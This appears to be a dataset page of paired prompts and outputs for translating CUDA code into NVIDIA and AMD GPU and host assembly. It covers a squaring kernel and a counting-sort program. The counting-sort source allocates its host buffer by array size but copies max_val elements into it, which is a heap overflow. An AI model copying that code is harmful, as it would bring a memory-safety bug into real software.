/*1060*/ IMAD.X R4, RZ, RZ, -0x1, P1 ; /* 0xffffffffff047424 */
/* 0x000fe200008e06ff */
/*1070*/ SHF.L.U64.HI R9, R11, R2, c[0x0][0x174] ; /* 0x00005d000b097619 */
/* 0x000fe40000010202 */
/*1080*/ IMAD.MOV.U32 R2, RZ, RZ, R0 ; /* 0x000000ffff027224 */
/* 0x001fe400078e0000 */
/*1090*/ IMAD.MOV.U32 R3, RZ, RZ, R7 ; /* 0x000000ffff037224 */
/* 0x000fca00078e0007 */
/*10a0*/ LDG.E R0, [R2.64] ; /* 0x0000000a02007981 */
/* 0x000ea2000c1e1900 */
/*10b0*/ IADD3 R6, P0, R6, 0x1, RZ ; /* 0x0000000106067810 */
/* 0x000fca0007f1e0ff */
/*10c0*/ IMAD.X R4, RZ, RZ, R4, P0 ; /* 0x000000ffff047224 */
/* 0x000fe200000e0604 */
/*10d0*/ ISETP.NE.U32.AND P0, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fc80003f05070 */
/*10e0*/ ISETP.NE.AND.EX P0, PT, R4, RZ, PT, P0 ; /* 0x000000ff0400720c */
/* 0x000fe20003f05300 */
/*10f0*/ FMUL R5, R0, R0 ; /* 0x0000000000057220 */
/* 0x004fe20000400000 */
/*1100*/ LEA R0, P1, R11, R2, 0x2 ; /* 0x000000020b007211 */
/* 0x000fc800078210ff */
/*1110*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x0001e2000c10190a */
/*1120*/ IMAD.X R7, R3, 0x1, R9, P1 ; /* 0x0000000103077824 */
/* 0x000fcc00008e0609 */
/*1130*/ @P0 BRA 0x1080 ; /* 0xffffff4000000947 */
/* 0x000fea000383ffff */
/*1140*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*1150*/ BRA 0x1150; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*1160*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1170*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1180*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1190*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z17squareWithForLoopPfmm
.globl _Z17squareWithForLoopPfmm
.p2align 8
.type _Z17squareWithForLoopPfmm,@function
_Z17squareWithForLoopPfmm:
s_load_b64 s[2:3], s[0:1], 0x8
s_waitcnt lgkmcnt(0)
s_cmp_eq_u64 s[2:3], 0
s_cbranch_scc1 .LBB0_3
s_clause 0x1
s_load_b64 s[4:5], s[0:1], 0x0
s_load_b64 s[0:1], s[0:1], 0x10
v_lshlrev_b32_e32 v0, 2, v0
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_co_u32 v0, s4, s4, v0
v_add_co_ci_u32_e64 v1, null, s5, 0, s4
s_lshl_b64 s[0:1], s[0:1], 2
.LBB0_2:
global_load_b32 v2, v[0:1], off
s_add_u32 s2, s2, -1
s_addc_u32 s3, s3, -1
s_delay_alu instid0(SALU_CYCLE_1)
s_cmp_lg_u64 s[2:3], 0
s_waitcnt vmcnt(0)
v_mul_f32_e32 v2, v2, v2
global_store_b32 v[0:1], v2, off
v_add_co_u32 v0, vcc_lo, v0, s0
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v1, vcc_lo
s_cbranch_scc1 .LBB0_2
.LBB0_3:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z17squareWithForLoopPfmm
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 24
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 3
.amdhsa_next_free_sgpr 6
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z17squareWithForLoopPfmm, .Lfunc_end0-_Z17squareWithForLoopPfmm
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .offset: 8
.size: 8
.value_kind: by_value
- .offset: 16
.size: 8
.value_kind: by_value
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 24
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z17squareWithForLoopPfmm
.private_segment_fixed_size: 0
.sgpr_count: 8
.sgpr_spill_count: 0
.symbol: _Z17squareWithForLoopPfmm.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 3
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_0003d645_00000000-6_squareLoop.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2060:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z39__device_stub__Z17squareWithForLoopPfmmPfmm
.type _Z39__device_stub__Z17squareWithForLoopPfmmPfmm, @function
_Z39__device_stub__Z17squareWithForLoopPfmmPfmm:
.LFB2082:
.cfi_startproc
endbr64
subq $136, %rsp
.cfi_def_cfa_offset 144
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movq %fs:40, %rax
movq %rax, 120(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 120(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $136, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 152
pushq 40(%rsp)
.cfi_def_cfa_offset 160
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z17squareWithForLoopPfmm(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 144
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2082:
.size _Z39__device_stub__Z17squareWithForLoopPfmmPfmm, .-_Z39__device_stub__Z17squareWithForLoopPfmmPfmm
.globl _Z17squareWithForLoopPfmm
.type _Z17squareWithForLoopPfmm, @function
_Z17squareWithForLoopPfmm:
.LFB2083:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z39__device_stub__Z17squareWithForLoopPfmmPfmm
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2083:
.size _Z17squareWithForLoopPfmm, .-_Z17squareWithForLoopPfmm
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "\t"
.LC1:
.string "\n"
.LC2:
.string "%8.3f"
.text
.globl main
.type main, @function
main:
.LFB2057:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $56, %rsp
.cfi_def_cfa_offset 112
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
movl $512, %edi
call malloc@PLT
movq %rax, %rbp
movl $0, %eax
jmp .L14
.L12:
movq %rax, %rdx
shrq %rdx
movq %rax, %rcx
andl $1, %ecx
orq %rcx, %rdx
pxor %xmm0, %xmm0
cvtsi2ssq %rdx, %xmm0
addss %xmm0, %xmm0
.L13:
movss %xmm0, 0(%rbp,%rax,4)
addq $1, %rax
cmpq $128, %rax
je .L23
.L14:
testq %rax, %rax
js .L12
pxor %xmm0, %xmm0
cvtsi2ssq %rax, %xmm0
jmp .L13
.L23:
leaq 8(%rsp), %rdi
movl $512, %esi
call cudaMalloc@PLT
movl $1, %ecx
movl $512, %edx
movq %rbp, %rsi
movq 8(%rsp), %rdi
call cudaMemcpy@PLT
movl $32, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L24
.L15:
movl $2, %ecx
movl $512, %edx
movq 8(%rsp), %rsi
movq %rbp, %rdi
call cudaMemcpy@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movl $0, %ebx
leaq .LC2(%rip), %r15
movabsq $2635249153387078803, %r14
leaq .LC1(%rip), %r13
leaq .LC0(%rip), %r12
.L17:
pxor %xmm0, %xmm0
cvtss2sd 0(%rbp,%rbx,4), %xmm0
movq %r15, %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
movq %rbx, %rax
mulq %r14
movq %rbx, %rax
subq %rdx, %rax
shrq %rax
addq %rax, %rdx
shrq $2, %rdx
leaq 0(,%rdx,8), %rax
subq %rdx, %rax
movq %rbx, %rdx
subq %rax, %rdx
cmpq $6, %rdx
movq %r12, %rsi
cmove %r13, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addq $1, %rbx
cmpq $128, %rbx
jne .L17
leaq .LC1(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %rbp, %rdi
call free@PLT
movq 40(%rsp), %rax
subq %fs:40, %rax
jne .L25
movl $0, %eax
addq $56, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L24:
.cfi_restore_state
movl $32, %edx
movl $4, %esi
movq 8(%rsp), %rdi
call _Z39__device_stub__Z17squareWithForLoopPfmmPfmm
jmp .L15
.L25:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size main, .-main
.section .rodata.str1.1
.LC3:
.string "_Z17squareWithForLoopPfmm"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2085:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC3(%rip), %rdx
movq %rdx, %rcx
leaq _Z17squareWithForLoopPfmm(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2085:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "squareLoop.hip"
.globl _Z32__device_stub__squareWithForLoopPfmm # -- Begin function _Z32__device_stub__squareWithForLoopPfmm
.p2align 4, 0x90
.type _Z32__device_stub__squareWithForLoopPfmm,@function
_Z32__device_stub__squareWithForLoopPfmm: # @_Z32__device_stub__squareWithForLoopPfmm
.cfi_startproc
# %bb.0:
subq $104, %rsp
.cfi_def_cfa_offset 112
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z17squareWithForLoopPfmm, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $120, %rsp
.cfi_adjust_cfa_offset -120
retq
.Lfunc_end0:
.size _Z32__device_stub__squareWithForLoopPfmm, .Lfunc_end0-_Z32__device_stub__squareWithForLoopPfmm
.cfi_endproc
# -- End function
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r13
.cfi_def_cfa_offset 32
pushq %r12
.cfi_def_cfa_offset 40
pushq %rbx
.cfi_def_cfa_offset 48
subq $112, %rsp
.cfi_def_cfa_offset 160
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r13, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
movl $512, %edi # imm = 0x200
callq malloc
movq %rax, %rbx
xorl %eax, %eax
jmp .LBB1_1
.p2align 4, 0x90
.LBB1_3: # in Loop: Header=BB1_1 Depth=1
xorps %xmm0, %xmm0
cvtsi2ss %rax, %xmm0
.LBB1_4: # in Loop: Header=BB1_1 Depth=1
movss %xmm0, (%rbx,%rax,4)
incq %rax
cmpq $128, %rax
je .LBB1_5
.LBB1_1: # =>This Inner Loop Header: Depth=1
testq %rax, %rax
jns .LBB1_3
# %bb.2: # in Loop: Header=BB1_1 Depth=1
movq %rax, %rcx
shrq %rcx
movl %eax, %edx
andl $1, %edx
orq %rcx, %rdx
xorps %xmm0, %xmm0
cvtsi2ss %rdx, %xmm0
addss %xmm0, %xmm0
jmp .LBB1_4
.LBB1_5:
movq %rsp, %rdi
movl $512, %esi # imm = 0x200
callq hipMalloc
movq (%rsp), %rdi
movl $512, %edx # imm = 0x200
movq %rbx, %rsi
movl $1, %ecx
callq hipMemcpy
movabsq $4294967297, %rdi # imm = 0x100000001
leaq 31(%rdi), %rdx
movl $1, %esi
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB1_7
# %bb.6:
movq (%rsp), %rax
movq %rax, 72(%rsp)
movq $4, 64(%rsp)
movq $32, 56(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z17squareWithForLoopPfmm, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB1_7:
movq (%rsp), %rsi
movl $512, %edx # imm = 0x200
movq %rbx, %rdi
movl $2, %ecx
callq hipMemcpy
movq (%rsp), %rdi
callq hipFree
movabsq $2635249153387078803, %r15 # imm = 0x2492492492492493
movl $.L.str.2, %r12d
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB1_8: # =>This Inner Loop Header: Depth=1
movq %r14, %rax
mulq %r15
movq %r14, %rax
subq %rdx, %rax
shrq %rax
addq %rdx, %rax
shrq $2, %rax
leaq (,%rax,8), %r13
subq %rax, %r13
addq $6, %r13
movss (%rbx,%r14,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movl $.L.str, %edi
movb $1, %al
callq printf
cmpq %r14, %r13
movl $.L.str.1, %edi
cmoveq %r12, %rdi
xorl %eax, %eax
callq printf
incq %r14
cmpq $128, %r14
jne .LBB1_8
# %bb.9:
movl $10, %edi
callq putchar@PLT
movq %rbx, %rdi
callq free
xorl %eax, %eax
addq $112, %rsp
.cfi_def_cfa_offset 48
popq %rbx
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
retq
.Lfunc_end1:
.size main, .Lfunc_end1-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB2_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB2_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z17squareWithForLoopPfmm, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end2:
.size __hip_module_ctor, .Lfunc_end2-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB3_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB3_2:
retq
.Lfunc_end3:
.size __hip_module_dtor, .Lfunc_end3-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z17squareWithForLoopPfmm,@object # @_Z17squareWithForLoopPfmm
.section .rodata,"a",@progbits
.globl _Z17squareWithForLoopPfmm
.p2align 3, 0x0
_Z17squareWithForLoopPfmm:
.quad _Z32__device_stub__squareWithForLoopPfmm
.size _Z17squareWithForLoopPfmm, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "%8.3f"
.size .L.str, 6
.type .L.str.1,@object # @.str.1
.L.str.1:
.asciz "\t"
.size .L.str.1, 2
.type .L.str.2,@object # @.str.2
.L.str.2:
.asciz "\n"
.size .L.str.2, 2
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z17squareWithForLoopPfmm"
.size .L__unnamed_1, 26
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z32__device_stub__squareWithForLoopPfmm
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z17squareWithForLoopPfmm
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include <cuda.h>
#include <stdio.h>
#include <math.h>
#define SIZ 1024
__global__ //이게 device에서 실행될 function 각 thread가 일정량실행
void countnum(int* countarr,int* datarr,int n){ //threadIdx.x+blockDim.x*blockIdx.x
int i=threadIdx.x+blockDim.x * blockIdx.x;
if(i<n)
{
int num=datarr[i];
atomicAdd(&countarr[num],1);
}
//atomicAdd(&arr[0],1);
//printf(" %d ",arr[0]);
}
/*__global__
void countbignum(int* countarr,int* datarr,int n){
int offset=1;
if(offset<n)
{
int num=datarr[offset];
atomicAdd(&countarr[num],1);
}
}*/
__host__ void counting_sort(int arr[], int size, int max_val)
{
// fill in
int* counting;
counting=(int*)malloc(sizeof(int)*size);
int* counting_d;
int* datarr_d;//input array
cudaMalloc((void **)&counting_d,sizeof(int)*max_val);
cudaMemset(counting_d,0,max_val*(sizeof(int)));
cudaMalloc((void**) &datarr_d,sizeof(int)*size);
cudaMemcpy(datarr_d,arr,sizeof(int)*size,cudaMemcpyHostToDevice);
int blocknum;
blocknum=ceil((double)size/SIZ);
// countnum<<<1024,SIZ>>>(counting_d,datarr_d,size);
//countnum<<<65535,SIZ>>>(counting_d,datarr_d,size);//1024가 max
// countnum<<<2097152,SIZ>>>(counting_d,datarr_d,size);
//countnum<<<1048576,SIZ>>>(counting_d,datarr_d,size);
countnum<<<blocknum,SIZ>>>(counting_d,datarr_d,size);
cudaDeviceSynchronize();
cudaMemcpy(counting,counting_d,sizeof(int)*max_val,cudaMemcpyDeviceToHost);
int index;
index=0;
for(int j=0;j<max_val;j++)
{
for(int q=0;q<counting[j];q++)
{
arr[index++]=j;
}
}
free(counting);
cudaFree(counting_d);
cudaFree(datarr_d);
} | code for sm_80
Function : _Z8countnumPiS_i
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R2, SR_TID.X ; /* 0x0000000000027919 */
/* 0x000e280000002100 */
/*0020*/ S2R R3, SR_CTAID.X ; /* 0x0000000000037919 */
/* 0x000e240000002500 */
/*0030*/ IMAD R2, R3, c[0x0][0x0], R2 ; /* 0x0000000003027a24 */
/* 0x001fca00078e0202 */
/*0040*/ ISETP.GE.AND P0, PT, R2, c[0x0][0x170], PT ; /* 0x00005c0002007a0c */
/* 0x000fda0003f06270 */
/*0050*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0060*/ HFMA2.MMA R5, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff057435 */
/* 0x000fe200000001ff */
/*0070*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fd20000000a00 */
/*0080*/ IMAD.WIDE R2, R2, R5, c[0x0][0x168] ; /* 0x00005a0002027625 */
/* 0x000fcc00078e0205 */
/*0090*/ LDG.E R2, [R2.64] ; /* 0x0000000402027981 */
/* 0x000ea2000c1e1900 */
/*00a0*/ HFMA2.MMA R7, -RZ, RZ, 0, 5.9604644775390625e-08 ; /* 0x00000001ff077435 */
/* 0x000fe200000001ff */
/*00b0*/ IMAD.WIDE R4, R2, R5, c[0x0][0x160] ; /* 0x0000580002047625 */
/* 0x004fcc00078e0205 */
/*00c0*/ RED.E.ADD.STRONG.GPU [R4.64], R7 ; /* 0x000000070400798e */
/* 0x000fe2000c10e184 */
/*00d0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*00e0*/ BRA 0xe0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0100*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0110*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0120*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0130*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0140*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0150*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0160*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0170*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.